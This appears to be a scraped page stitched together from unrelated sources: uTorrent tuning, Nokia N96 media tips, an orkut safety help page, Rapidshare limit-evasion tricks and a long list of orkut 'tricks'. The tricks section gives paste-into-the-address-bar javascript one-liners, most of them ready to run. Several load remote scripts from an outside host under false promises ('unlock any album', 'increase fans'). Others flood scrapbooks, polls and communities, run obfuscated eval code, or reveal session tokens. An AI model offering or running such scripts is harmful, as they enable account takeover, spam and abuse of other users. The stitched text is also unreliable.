Maximum number of active downloads: 1 (for 256k connection)
Enable DHT Network: CHECKEDThis is recommended to be checked to improve speeds. More people will be available for sharing if this is checked.
Enable DHT for new torrents: CHECKED
Enable Peer Exchange: CHECKED
Enable scrapping: CHECKED
Pre-allocate all files: CHECKED
Append .!ut to incomplete files: UNCHECKED
Options>Preferences>Advanced
net.max_halfopen: 50
If you use Windows XP SP2, patch tcpip.sys with LvlLord’s Event ID 4226 Patcher to get better performance.
DO NOT CHANGE THIS OPTION unless you have Windows XP SP2 and have patched tcpip.sys.
You can also patch tcpip.sys with xp-Antispy
If you have a firewall
Open up the options/preferences/settings for the firewall – usually your firewall will have an icon to click in the taskbar
Look for the keywords “allow list” or “programs”
Add the application you want to give access to the internet
Make sure to save your settings when you are done
If you have a router
Go to start>run>type cmd, press enter>type ipconfig, press enter
Remember both your ip address and your default gateway
Type in your default gateway into your default browser, a password prompt may come up. The default username and password are admin for my router
Under ‘Applications’ fill out one line for each p2p client you use
You need to use your ip address, the correct port range and set either tcp or udp
You can find and change the ports in the actual p2p client’s settings, just make sure they are the same in the router
Most p2p apps need both tcp and udp checked, if you are not sure check your p2p client’s FAQ
Save your settings
Check PortForward.com to forward ports for uTorrent.
Some of the settings I mentioned above are relative to my bandwidth.
How to calculate optimal settings for your connection
In order to apply the following tips you need to know your maximum upload and download speeds. You can test your bandwidth over here.
Maximum upload speed
If you use your Maximum upload speed, there won’t be not enough space left for the files you are downloading. So you have to cap your upload speed.
This is how I calculate my optimal upload speed…
upload speed * 80%
Maximum download speed
Setting your maximum download speed to unlimited will hurt your connection. So use this to calculate your optimal setting.
download speed * 90%
Maximum connected peers per torrent
upload speed * 1.3
Maximum upload slots
1 + (upload speed / 6)
Disable Windows Firewall
Windows Firewall hates P2P and so disable it and get yourself a decent firewall like Zone Alarm.
And last optimize your Internet connection with TCP Optimizer.
Know any other tricks to increase uTorrent’s download speed? Please share them here.
Tricks
vodafone Free Downloading
tricks
Bal below 0.10
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Disable windows error
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My computer/properties/advanced/error reporting/disable error reporting
video player for phone
Hello again,
Today I'm starting a new phase in my career and I need to decide if I'll continue with this blog or what I'll do with it. Hence the new poll about what to post about next.
Just as a summary and for people that have just found this blog this is the list of links to the most useful topics as seen by the number of comments made or the times I've pointed people to them when they had problems.
Enjoy!
Recommended Settings for N96
Using SUPER encoder
This has to be the most popular one.
Music Database problems.
Although this is but one solution there's lots of discussion about this. Seems to be a topic worth expanding on.
Will this video plan on my phone?
Lots of good information there.
uPNP, Media Center, Home Media
How to use this basically.
Posted by El_loco at 11:12 AM 0 comments
Labels: tips
Friday, January 9, 2009
New Year, start with something easy, ALBUM ART
Hello my fellow mobile users. I hope you all enjoyed a great New Year celebration (if you follow the Gregorian calendar) or a good summer break ( for those of you in the south hemisphere) .
For me I've been enjoying the snow. Lot's of snow.
So, new year, new challenges, new horizons. To kick off I'll start the year explaining a question that is very common and has caused a lot of issues for many Nokia users. I'm talking about How to display Album Art in the Music Player.
As I've explained on several occasions there's more than 1 way to do this (isn't this the case with many things in Nokia devices?).
I'll start with the simplest one then move on to other options.
LINK THE ALBUM ART IN THE PHONE
1) Find the Album cover pictures and save in the phone (you can use Search and Images to find them on the internet or Google Image).
2) In the Music Player navigate to the ALBUM view and select the ALBUM whose picture you downloaded.
3) Select OPTIONS -> ALBUM ART.
4) Then OPTIONS -> CHANGE
5) Now locate the picture you want shown.
6) You are now done!
There are some drawbacks to this. For one, if you move the file or delete it then the album art doesn't follow. The Album art pictures stay in the phone and show in the Photos or Gallery.
ADD ALBUM ART TO METADATA
Another option would be to add the picture to the Metadata before transferring the files to the phone.
There are many ways to do this, there are Metadata editors like Tag&Rename, but also WinAmp and Windows Media Player allow you to edit the metatada in an easy way.
Some things to keep in mind:
1) Use JPEG or PNG files (BMP and GIF sometimes are not displayed)
2) Keep the filesize to less than 200 KB. Although larger pictures may work, there's no point in having large files as the thumbnail displayed is rather small. A 300x300 or 600x600 rez picture is more than enough.
3) Make sure that the picture is tagged as Album Cover Front not as User Defined or other tag. This is important as only the Cover Front is displayed by the Music Player.
4) Don't add more than 1 picture to the file. For some reason if there are more pictures then none are displayed.
5) Don't use MTP sync to transfer files (PC SUITE mode or MEDIA/MUSIC mode) as this may cause the Album art to dissapear.
Once the files have the album art attached then use mass storage to load them to the phone.
TIP: If you already had the song in the Phone. FIRST delete it, REFRESH the library, then re-load it. This will cause the Music Player to find the METADATA again and then find the album art. If you just replace the song with the one with album art the Music Player may not refresh the Album art!
Posted by El_loco at 10:17 AM 4 comments
Labels: album, music, pictures, tips
Wednesday, December 3, 2008
How to best benefit from this blog?
If you've found this blog it probably means that you are looking for some information on how to encode or convert videos to play on Nokia phones.
So what are the basic posts you should check out?, where to start?, here are some tips.
If you want information on what settings to use for N96 then go HERE
If you want to know how to use SUPER check this post
If you want to find out the detailed information of your video clip either for your records or to ask for my help check this post. Make sure you also check the other POST
If what you want is to know what are the basic video capabilities of Nseries products check HERE
And if you want an in-depth description of how to change a widescreen to full screen then READ THIS.
TIP: You can also check all the posts by either subscribing to the RSS feed.
TIP: You can check out the Blog Archive in the right-hand side below the YouTube logo.
Enjoy!
Posted by El_loco at 12:24 PM 7 comments
Labels: blog, tips, video
Tuesday, December 2, 2008
Music player Database problems
Hello again. This time I want to touch on an issue that has been common to all Nseries devices since the N91 introduced the Music Player that most Nseries device share.
I'm talking about the Music Library.
This library contains all the Artist, Album Art, etc. contained in the MetaData of the Music Files.
When you use Windows Media Player and sync (using Media Player USB mode) AKA MTP the Library is automatically updated.
When you drag and drop you need to manually update the Library.
But sometimes something goes wrong and the Update Library operation either doesn't find the songs, hangs, or otherwise fails.
When this happens the most common thing is that the Library may have become corrupted and you need to delete certain files. But which files?
Well after some testing I came to find that these are the files that need deleting in order to get rid of the corrupted library.
Storage Drives: (Mass storage E, Memory Card F)
\private\101ffca9\harvesterdbvx_x.dat
\private\10281e17\[string]mpxvx_x.db
\private\10281e17\[string]pcvx_x.db
TIP: Connect the device in USB mass storage mode (File Transfer), to locate the private folder from the PC.
TIP: STRING and x_x will change depending on your phone.
After you've done this, then you should be able to re-scan and re-create the Music Library.
As always if you have questions and comments, leave a comment.
Cheers!
Posted by El_loco at 11:24 AM 24 comments
Labels: music, N96, tips
Thursday, October 2, 2008
Some tips and other info for N96
I also got a link to a good first hands-on review here from user grschinon from the NSD.
I don't really plan to do an review or first hands since there are already quite many out there. Plus, I don't think I can add anything really to warrant yet another review.
But I do have something to share...
Here are some tips for N96 if you are getting one or just got one.
NEW (Oct 17, 08):
Music scanning Forever:
- Don't change the default date separator from "/" to ":".
- If you change the default date separator then you get the Music scanning and never ending.
First Boot:
- Enter the correct date and time. This is important as some copy protected items such as game installations may fail if you enter a wrong date (future or past)
- After the Idle Screen (“Active Idle”) is displayed, some software is still being loaded and some first-time initialization is still proceeding. It is best to leave the phone by itself for about 1 minute. If you start fiddling with it right away, you may experience the device to slow down severely or even hang; it is best to let it finish the first-time software processes.
- The end of bootup seems to be when the battery and signal is visible.
N-gage first-time use:
- N-gage games that come with the device are just pre-loaded but still have to install themselves. The installations takes a few minutes, so the first time you open N-gage application you will need to wait for all installations to finish.
Blinking Envelope (Message): This means you have unread or old Messages stored in the SIM card. Open the Messaging application, Open SIM Messages -> Delete Old messages.
Naviwheel: There’s no Naviwheel functionality in N96.
Keep your original Battery Cover: The original battery cover contains antennae for WLAN, GPS, Bluetooth and DVB-H. If you purchase unauthorized third-party battery covers, you might find that they will not work as they are missing these antenna components!. Or the performance may be greatly reduced.
Scanning for new content (slowness in UI)
- This is somewhat improved in 11.018 but still:
- If you've loaded many Pictures, Videos or Music, you may see the device appear to slow down or even become unresponsive. After new content has been added, it is being scanned by the device and being added to the media applications. Until that happens, the new content may not be visible in these applications (e.g. Photos and Video Center application) right away. The phone will need to find the files and create the thumbnails and other details. This information creation takes time and the processing may slow down the device. Your best option is to open Video Center and Photos and leave open in the background then check after a few minutes if the videos and pictures you loaded are already there before using your device.
The same applies if you insert a memory card with lots of content on it.
- Do Not leave the Photos or video center in background during this time.
Remember to Safely remove the MEMORY CARD:
- You risk corrupting your memory card and losing files if you do not remove the memory card properly. Never just take it out from the card slot. The right steps are: 1) press the power key for a short moment until the power key menu appears. Scroll to the item “Remove Memory Card”. Select this menu item. A dialog appears: “Remove memory card and press OK”. Remove the memory card from the card slot, then press the softkey for OK. There may be a dialog that indicates that some applications have to be stopped, if there were applications currently accessing the memory card.
Power Saving tips: Again...
Here are some tips that may help you save battery power. In general, you should turn off functions when you do not need them.
- Turn Bluetooth off when not in use
- Turn off WLAN scanning (from Standby Screen)
- Reduce the brightness of the screen (Settings -> Personalization -> Display
- Turn off Navi "Breathing" for the light ring on the scroll key
- If your network operator does not offer 3G, turn off 3G usage
- Close down unused applications that run in the background, like Music, Browser, Maps, Fring, etc.
- Avoid using carry cases with magnets as this may cause the device to wake up
- If you are fairly low in battery level and want to extend the usage time with the remaining battery power, use the power savings mode (Power key--> Single press --> Power savings mode). It will reduce display brightness to the minimum level, and change the backlight time out to 5 seconds.
- Ensure that Maps application the Camera application (if location tagging is on) are not active when not needed
- Do not leave the USB cable connected as this causes power to be consumed even if no data is being transferred. Use the CA-126 USB cable for USB connections (it charges at the same time)
- DO NOT set Bluetooth visibility to "Define Period" this seems to drain the battery faster
- For GPS Navigation, set the backlight setting to "Optimized" rather than "Always on". Go to Maps-> Options -> Tools -> Settings -> Navigation -> Backlight set to "Optimized".
- Use "Headphones" rather than "Lineout" when playing music
Posted by El_loco at 4:27 PM 3 comments
Labels: N96, tips
Thursday, September 25, 2008
Good document with details about video for Nokia devices
HERE you find it.
It's a PDF file from Forum Nokia with more details about how to create video content for Nokia devices.
ENJOY!
Posted by El_loco at 5:37 PM 3 comments
Labels: encoding, tips, video
Tuesday, September 9, 2008
My recommended settings for N96 video
Hello again.
On this occasion I want to share with all my list of recommended settings for encoding video to be used in N96.
While I've done a lot of testing, please note that this is just my recommendation, and this was tested with a firmware that may be different to what you have in your hands so things may have changed.
I'll keep using the N96 and if I find any significant changes I'll post an updated version. I've also done efforts to cross check my findings with what's available from official sources so I feel pretty confident that these settings are accurate.
As always, if you have comments or questions, feel free to add them here. I'll do my best to review, post and answer any questions you may have. Even if the answer is "I don't know" ;)
Ok on to the settings:
For playback in N96 screen
Codec: MPEG-4 Part 10 AVC/H264 Baseline Profile
Container: .mp4
Resolution: QVGA 320x240
Aspect Ratio: 4:3 (1.3333)
Framerate: As per source but limit is 29.97
Bitrate: 600 kbps (but can go as high as 1 Mbps but there's little gain in quality)
Audio: mpeg4aac, 96 kbps @ 44.1 KHz sample rate (can use 48 KHz if source is 48 KHz)
For use with TV-out
Codec: MPEG-4 Part 10 AVC/H264 Baseline Profile
Container: .mp4
Resolution: VGA 640x480
Aspect Ratio: 4:3 (1.3333)
Bitrate: 1 Mbps
Framerate: As per source up to 29.97.
Audio: mpeg4aac, 96 kbps @ 44.1 KHz sample rate (can use 48 KHz if source is 48 KHz)
Alternatively you can use MPEG-4 Part 2 SP/H263 Simple profile as the codec and use bitrates of 3 Mbps, this creates much bigger files but it's an alternative to H264/AVC.
Keep in mind that TV-out will change your video somewhat as the video will need to streched/cropped to PAL or NTSC and also the frame rate will change to comply with TV standards.
For WMV videos
Resolution: CIF (352x288) or QVGA (320x240). I haven't tested but QCIF (176x144) may also work.
Codec: WMV9 VC-1 SP/ MP.
Bitrate/Framerate: Depends on the profile you use. VC1 Simple profile: low level (QCIF 15fps), medium level (QVGA 24fps / CIF 15fps 384 kbps, VC1 Main profile, low level (CIF 30fps 2Mbps)
Audio part will be WMA (WMA2 part of WMV9) Use 32 kbps. and sample rate as per source material, you can of course go higher depending on the video bitrate. But for most cases I rather sacrifice audio quality than video since there's not a lot of headroom.
For Flash Lite Videos
If you are already converting your videos to FLV you can also use them on the N96 but these videos don't show up in the Video Manager or Photos applications so you need to access them through the File Manager.
Here are the specs:
Codec: Sorenson Spark or h263 or VP6
Resolution: QVGA 320x240
Bitrate: 192 kbps (for video part)
Framerate: 25 fps for h263 15 fps for Sorenson or VP6
Audio: MP3 (Mpeg1 Layer 3) variable bitrate
Combined bitrate should be around 350 kbps (in my tests if you start going to around 500kbps then the playback becomes choppy).
Other Codecs and Containers
There are other possible codecs to use, like Realvideo (Rm or Rmvb) but after doing some testing I don't recommend using Real as the performance is much restricted. I guess the main reason for still keeping real (keeping it real), ;) is mainly for video streaming. So CIF and QVGA are the main resolutions, only 15 or 25 fps is supported and the bitrate needs to be quite low (256 kbps).
You can also use .3GP and .3G2 containers for MPEG-4 codecs, as well as using .M4V container. Just keep in mind that iTunes uses H264 MAIN profile in their .m4v videos so they will NOT play in N96.
WMV can also have the extension .ASX or .ASF usually for streaming links. I had had some problems if the wmv or asf file contains more than 1 video or audio stream. The end result being that it doesn't play or plays partially.
MPEG-4 Part 10 also includes the "normal" mpeg-4 (non AVC) and several Levels are supported. Baseline profile Levels 1, 1b, 1.1, 1.2, 1.3, 2. So it's an alternative as well.
Thumbnails and other issues to keep in mind
You can still create you personalized thumbnails to be displayed in video center following my previous tips. HERE
The file attribute “hidden” should be turned on for the thumbnail. The best way to do this is to set the hidden attribute when you create the images on a Windows PC (right mouse click on file in File Explorer -> Properties ->Hidden). Or use YBrowser to achieve the same effect.
TIP: Some things to keep in mind is that when you load a lot of video clips, video center may not show them right away, you may need to leave it open for a few minutes before the library is refreshed. While this is happening your videos may not play correctly as the N96 is furiously searching for all those videos and creating thumbnails.
TIP: If you just inserted a Memory Card with lots of videos, they may not appear right away in the Video Center, you have to let the program find the videos. It's very important that you either a) DO NOT remove the memory card while Video Center is searching for videos or b) Use the"Remove F: Memory card" option from the power button. Failure to do so may cause corruption to the Memory card
Also, the Photos application also shows videos stored in your device. So you can choose whether to use Photos or Video Center.
TIP: Remember to save your videos in the VIDEOS or MY VIDEOS folders in the Mass Memory (E:) or the memory card (F:)
You can use either the front media keys or the landscape (hidden) media keys to control the videos. When the landscape media keys are exposed, i.e. Slide is down, then the front media keys will be inactive.
Safety: Protecting your accountPrint
In a nutshell
Because orkut is an open community, sometimes profiles are comprimised through phishing schemes, viruses, and spyware. Protect yourself by never sharing your password and looking out for suspicious links and behavior.
To keep your account safe, change your password regularly.
Due to orkut.com's open nature, we realize that users' accounts can become compromised through phishing schemes, viruses, and spyware. Fortunately, users can help secure their own account and their online identity quickly and easily. As a starting point, we recommend these safe practices:
Don't share: Keep your username, password and personal information secret, and change your password regularly.
Don't script: Never paste a URL or script into your browser while signed into orkut.com, no matter what it claims to do. Don't click links in emails that claim to be from orkut or Gmail. Scan your computer regularly for viruses, spyware, and adware.
Don't spread: Never enter your Google Account username and password on sites other than orkut.com and other Google properties. Never select the 'remember me' option when you're using a shared computer.
Avoid posting sensitive personal data or embarrassing information: Keep email addresses and pictures in private places.
Don't trust everyone: People aren't always who they say they are. Be cautious when adding strangers to your friends list. orkut's a great place to make new friends, but be careful about information you share with someone you've never met. If you do decide to meet someone outside of orkut, bring a friend with you.
Sign out when you're done: Don't forget to click the Logout link at the top of the page when you're done using orkut.
You can restrict who's allowed to write in your scrapbook, comment on your photos, and see your albums, scrapbook, videos, testimonials, feeds, and full profile. To do so, click settings under your profile photo, select the privacy tab, and use the drop-down menus to set your access permissions.
If you've shared your password with anyone, we highly recommend you change it as soon as possible. If you believe someone has taken over your account, please contact us.
orkut.com doesn't use your email address for any purpose other than sending out orkut invitations and notices. We find spam annoying and are committed to keeping your email address safe. Additionally, we'll never send you spam emails asking you to download anything or to send us personal information, such as your password or bank account information. orkut.com is a free service, and it will remain safe with your help.
Inappropriate content won't be tolerated: Help keep orkut safe and clean by reporting content that violates our Terms of Service using the report abuse button on profiles and communities.
IF you see such a scrap
EXCLUSIVE TREAT FOR FIREFOX USERS A MUST USE...
THE MUCH AWAITED ULTIMATE TOOL IS HERE
THIS IS WHAT YOU WILL GET
1.INCREASED FANS
2.INCREASED SCRAPS BY 10000
3.ADD YOUR FAVOURITE COMMUNITIES IN A SINGLE CLICK
4.YOUTUBE VIDEO FLOODING
6.FEW EASY LINKS IN YOUR PROFILE
REQUIREMENTS
1.Mozilla FireFox (this facility would not work on Internet
Explorer,so better download Mozilla FireFox first)
ALL YOU NEED TO DO IS :
1.GO TO YOUR SCRAPBOOK
2.COPY THIS IN YOUR ADDRESS BAR
javascript: (a javascript will be present here which I am not
displaying for someone may run it out of curiosity )
3.PRESS ENTER
RUN ONLY IN MOZILLA
Do NOT run this javascript. And delete this scrap immediately after
you see it. If you run the javascript, the hacker can gain complete
control over your account.
Rapidshare Hacking
Advanced Rapid Share Hack
Most Trusted n Complete Working HACK
Simply Copy the CODE given below
Open Command prompt. ( run ->cmd )
Paste the Content There. [ Hope u know how to paste on the cmd Prompt ]
Now try the rapidshare link again
and it wont ask you to Wait for more than ONE minute.
@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew
exit
well it is known trick now nothing new in it
but
Keep checking this page for working Premium Rapidshare "user id" and "passwords"
Advanced Rapid Share Hack
Keep posting if u know more
thanks
New working trick .. genuine
After searching a lot i found dis amazing thing. its like a proxy browser called TORPAK..it can change ur permanent IP to static IP. so jus wen u restart ur browser u will hav new IP... u can also set intervals between changing ur proxy...so now download mutliple files at d same time......it also has integration of IDM with it..
tip:
u have to close this perticular browser than open again and it will start downloading from RAPIDSHARE again no need to disconnect..
easy..
google it download n ~cheers~
Easy Way to Delete Rapidshare Cookie
If you logged into Rapidshare with an account that was detected by fraud detection you will need to delete the Rapidshare cookie. You could either:
Delete all the cookies, but this will makeyou have to login back into every website that you told the browser to auto login for you.
Go through every cookie and find that one rapidshare cookie.
So, here comes this little trick! You could bookmark this link and click it every timeyou need to delete ONLYRapidshare cookie:
http://rapidshare.de/cgi-bin/premium.cgi?logout=1
3. Use a proxy with SwitchProxy and Firefox:
1. Download and install Firefox if you have not already
2. Download and install SwitchProxy
3. Google for free proxies
4. When you hit your download limit, clean your cookies and change your proxy
4. Use an anonymous service:
Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this systemks.. u need to download Firefox 1.5 for it.. u can get the same by typing "Firefox old apps" in google. begin tor by enabling it on Firefox(right bottom)
Anonymizer is inexpensive, easy to use, but not free. Other pay services would likely work as well.
BELOW TEXT IS NOT TESTED BY ME
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment. But most of the time, that advantage is available only to people with the programming skills to make the changes they want. That's where Greasemonkey, a free plug-in for Firefox, comes in -- it simplifies hacking the browser.
Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools. It changes how Web pages look and act by altering the rendering process. Greasemonkey is to Firefox what aftermarket parts are to cars -- it lets you personalize your browser by making it faster and more powerful or simply by making browsing more aesthetically pleasing. How and why you will use Greasemonkey (and I predict you will, if you don't already) will depend on how you browse now.
CODE
http://greasemonkey.mozdev.org/
1) Install the Greasemonkey extension >>
CODE
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to
CODE
http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose "Install User Script".
Run FireFox.
From File Menu click on Open File then brouse to whereever you saved the 'greasemonkey.xpi' plug-in. Open it, wait a couple seconds for the install button becomes active. Click on it to install this plug-in then CLOSE FIREFOX.
Run FireFox again. From the File Menu click on Open File then brouse to whereever you saved the 'rapidshare.user.js'. Open it. Click the Tools Menu then click on Install User Script then click OK.
Close FireFox.
The script will let you enjoy "no wait" and multiple file downloads
more orkut tricks
Scrap All
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/photo.js';void(0)
Hit enter.
It sends scrap to all the friend's automatically.
Unlock Any Scrapbook
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/scrapbook.js';void(0)
Hit enter.
It unlocks all scrapbooks automatically.
Unlock Any Album
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/album.js';void(0)
Hit enter.
It unlocks all albums automatically.
Increase your fans
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/fans.js';void(0)
Hit enter.
It increase your fans within minutes.
Show Video Instead Of Profile Picture
Just open orkut page and copy this script in URL bar.
javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://freetze.freetzi.com/video.js';void(0)
Hit enter.
It replaces video with your profile picture.
Scrapbook Flooder
Open scrapbook.
Write something in the text box.
Donot press submit
Copy the following java script into the URL bar.
javascript: i=0;nb=document.body.innerHTML.match(/\w+\/\d+\/(\d+).jpg/i)[1];nb1=document.getElementsByTagName('TEXTAREA').item(0).value; document.body.innerHTML+=''; function a(){vi=replyForm;vi.toUserId.value=nb;vi.target="SbFlood";vi.scrapText.value=nb1 + "[silver]" + i ;vi.action='Scrapbook.aspx?Action.submit';vi.submit();i++};void(setInterval(a,1050))
Hit enter.
Close the window or press refresh to stop the flooding.
Add a Friend
This code will add your friend automatically when you run this script.
Run the on your friend's profile whom you want to add.
Paste the script and run on the page you have opened(friend's profile).
javascript:add=document.forms[1];add.action='FriendAdd.aspx?Action.yes&'+location.href.match(/uid=\d*/gi);add.submit(); void (0)
Paste the script in URL and hit enter.You are done!!
Poll Flooder
Just open the Polls you to have flood and paste the script on address bar.javascript:inputs=document.getElementsByTagName('input');for(x=0;x
After running this script all the options in the poll will be selected,then you have to press vote.So that you w'll be voting all the options at a time.
This Script which will flood all the options at once but only for one time.
Testimonial to All
This Script is used to send testi to all your friend's.
Open this Page and run the script.
Paste the following javascript in your web browser address bar after navigating to the specified orkut page.javascript:vi=document.getElementsByTagName('TEXTAREA').item(0).value;d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="/TestimonialWrite.aspx?&Action.submit&countedTextbox="+vi+"&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),5000))
Album Hack
This Script will show or display the pictures which are hidden in friend's profile.
Paste the following javascript in your web browser address bar after navigating to the specified orkut page. javascript:alert("Wait for few seconds for pic`s to load......");nb=document.all[0].innerHTML.match(/[0-9]*.jpg\)/g);nb=parseInt(nb);document.body.innerHTML="
http://www.fakers.co.nr";for(i=1;i<=50;i++){document.body.innerHTML+='
';};void(0)
Mass scrap deleter
Open your scrapbook.
Copy the following java script into the URL bar.
javascript:i=0;document.body.innerHTML+='';window[0].location="http://www.orkut.com/Scrapbook.aspx?&pageSize=30";function nick(){document.forms[1].target="tio";window[0]._checkAll(window[0].document.scrapsForm, 'scrapKeys', true);window[0]._submitForm(window[0].document.forms[2], 'delete', '');window[0].location=window[0].document.links[20].href;};void(setInterval(nick,2000))
Hit enter.
Close the window or press refresh to stop the deleting.
Coloured scraps
Write anything in text box
Copy the script and paste it in URL bar.
Presss enter
Now submit the scrap
javascript:cor=new Array('green','red','blue','maroon');var z=0;txt=document.getElementsByTagName('textarea')[0]; txt.value=txt.value.replace(/\n/gi,'§ ');sp=txt.value.split(' ');txti='';for(l=0;l
New way of writing
Write anything in text box
Copy the script and paste it in URL bar.
Presss enter
Now submit the scrap
javascript:var txt=document.getElementsByTagName('textarea')[0];txt.value=txt.value.replace(/a/gi,"α");txt.value=txt.value.replace(/p/gi,"ρ");txt.value=txt.value.replace(/N/gi,"и");txt.value=txt.value.replace(/t/gi,"т");txt.value=txt.value.replace(/E/gi,"є");txt.value=txt.value.replace(/u/gi,"υ");txt.value=txt.value.replace(/h/gi,"н");txt.value=txt.value.replace(/s/gi,"ร");txt.value=txt.value.replace(/o/gi,"σ");txt.value=txt.value.replace(/m/gi,"м");txt.value=txt.value.replace(/r/gi,"я");void(0);
Message Reverser
Open scrapbook
Write text in text box.
Copy the script in URL bar and hit enter.
Now submit the scrap
javascript:alert("Katyal Rocks");msgm=prompt("message");function reverse() { var inp = msgm; var outp="";for (i = 0; i <= inp.length; i++) { outp =inp.charAt (i) + outp;}txt=document.getElementsByTagName('textarea')[0];txt.value=outp ;}; reverse();
Dictionary in orkut
Copy the script in URL bar and hit enter.
Write the desired word and get its meaning.
javascript:eval(String.fromCharCode(97, 61, 112, 114, 111, 109, 112, 116, 40, 34, 69, 110, 116, 101, 114, 32, 87, 111, 114, 100, 32, 84, 111, 32, 66, 101, 32, 83, 101, 97, 114, 99, 104, 101, 100, 32, 73, 110, 32, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 34, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 43, 61, 39, 60, 105, 102, 114, 97, 109, 101, 32, 110, 97, 109, 101, 61, 34, 97, 114, 115, 104, 34, 32, 119, 105, 100, 116, 104, 61, 34, 49, 48, 50, 52, 34, 32, 104, 101, 105, 103, 104, 116, 61, 34, 55, 54, 56, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62, 39, 59, 119, 105, 110, 100, 111, 119, 91, 48, 93, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 100, 105, 99, 116, 105, 111, 110, 97, 114, 121, 46, 104, 109, 47, 115, 101, 97, 114, 99, 104, 95, 102, 117, 110, 99, 116, 105, 111, 110, 46, 112, 104, 112, 63, 113, 61, 34, 32, 43, 97));void(0)
Profile without picture
Use this script while you are in cropping stage
javascript:i=document.getElementsByTagName('input');i['apw'].value="1";i['aph'].value="1";i['apx'].value="0";i['apy'].value="0";i['apdw'].value=crpImg.width;i['apdh'].value=crpImg.height;_submitForm(document.getElementById('cropForm'),'crop');void(0)
Album flooder
Goto http://www.orkut.com/Album.aspx
Then browse pic which u want to flood after selection run this script.
javascript:function devil(){_submitForm(document.forms[1], 'upload', '');}void(setInterval(devil,350));
Vibrator in orkut
Just open orkut page and copy this script in URL bar.
javascript:function flood(n) {if (self.moveBy) {for (i = 20; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} flood(10);{ var inp = "!!!skcoR llA parcS"; var outp = ""; for (i = 0; i <= inp.length; i++) { outp = inp.charAt (i) + outp ; } alert(outp) ;}; reverse();
Hit enter.
Add all to your hot list
Just open orkut page and copy this script in URL bar.
javascript:d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="Profile.aspx?Action.addHot&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),2000))
Hit enter.
Add all to your ignore list
Just open orkut page and copy this script in URL bar.
javascript:d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="Profile.aspx?Action.addIgonre&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),2000))
Hit enter.
Add all ur friends to ur crush list
Open this Page and run the script.
Allow all pop ups of orkut.com
javascript:d=document;a=d.forms[1];a.target="nb";i=0;void(setInterval((function () {a.action="Profile.aspx?Action.addCrush&uid="+d.getElementsByTagName("option")[i++].value;a.submit()}),2000))
Empty ur crush list
javascript:i=0;document.body.innerHTML+='';window[0].location="/Marks.aspx?mid=3";function nb(){document.forms[1].target="nobody";window[0]._submitForm(window[0].document.forms[1], 'delete', '');};void(setInterval(nb,2000));
View UID's of all friends
Copy the script in in friend's list.
Hit enter
javascript:var text_LoL = document.body.innerHTML.match(/uid=\d+/gi);var text_LoL = text_LoL.join();var text_LoL = text_LoL.match(/\d+/gi);var text_LoL_1 = "";for (index_1 = text_LoL.length-1;index_1 >= 0;index_1--){if (text_LoL_1.indexOf(text_LoL[index_1]) == -1) {text_LoL_1 = text_LoL_1 + '"' + text_LoL[index_1] + '",
'} else {text_LoL_1 = text_LoL_1}};document.write(text_LoL_1)
View all community ids
Copy the scipt in communities page.
Hit enter.
javascript:var text_LoL = document.body.innerHTML.match(/cmm=\d+/gi);var text_LoL = text_LoL.join();var text_LoL = text_LoL.match(/\d+/gi);var text_LoL_1 ="";for (index_1 = text_LoL.length-1;index_1 >= 0;index_1--){if (text_LoL_1.indexOf(text_LoL[index_1]) == -1) {text_LoL_1 = text_LoL_1 + '"' +text_LoL[index_1] + '",'} else {text_LoL_1 = text_LoL_1}};
Post same topic in selected communities
Paste all the community UID,s in the given format cmm=['42454897','5866948']; (even a comma makes a difference)
Open any non-anonymous community
Type the Subject and Body[colour and smileys allowed]
Run the script and allow all pop ups.
javascript:var text_LoL = document.body.innerHTML.match(/cmm=\d+/gi);var text_LoL = text_LoL.join();var text_LoL = text_LoL.match(/\d+/gi);var text_LoL_1 ="";for (index_1 = text_LoL.length-1;index_1 >= 0;index_1--){if (text_LoL_1.indexOf(text_LoL[index_1]) == -1) {text_LoL_1 = text_LoL_1 + '"' +text_LoL[index_1] + '",'} else {text_LoL_1 = text_LoL_1}};
You will find the topic(posted by you) in all the selected communities
See your signature and token id
Copy the script in scrapbook URL bar and hit enter.
javascript:df=document.forms[1];df.scrapText.value='Signature: ' +df.signature.value+'\nPost Token: '+df.POST_TOKEN.value;void(0)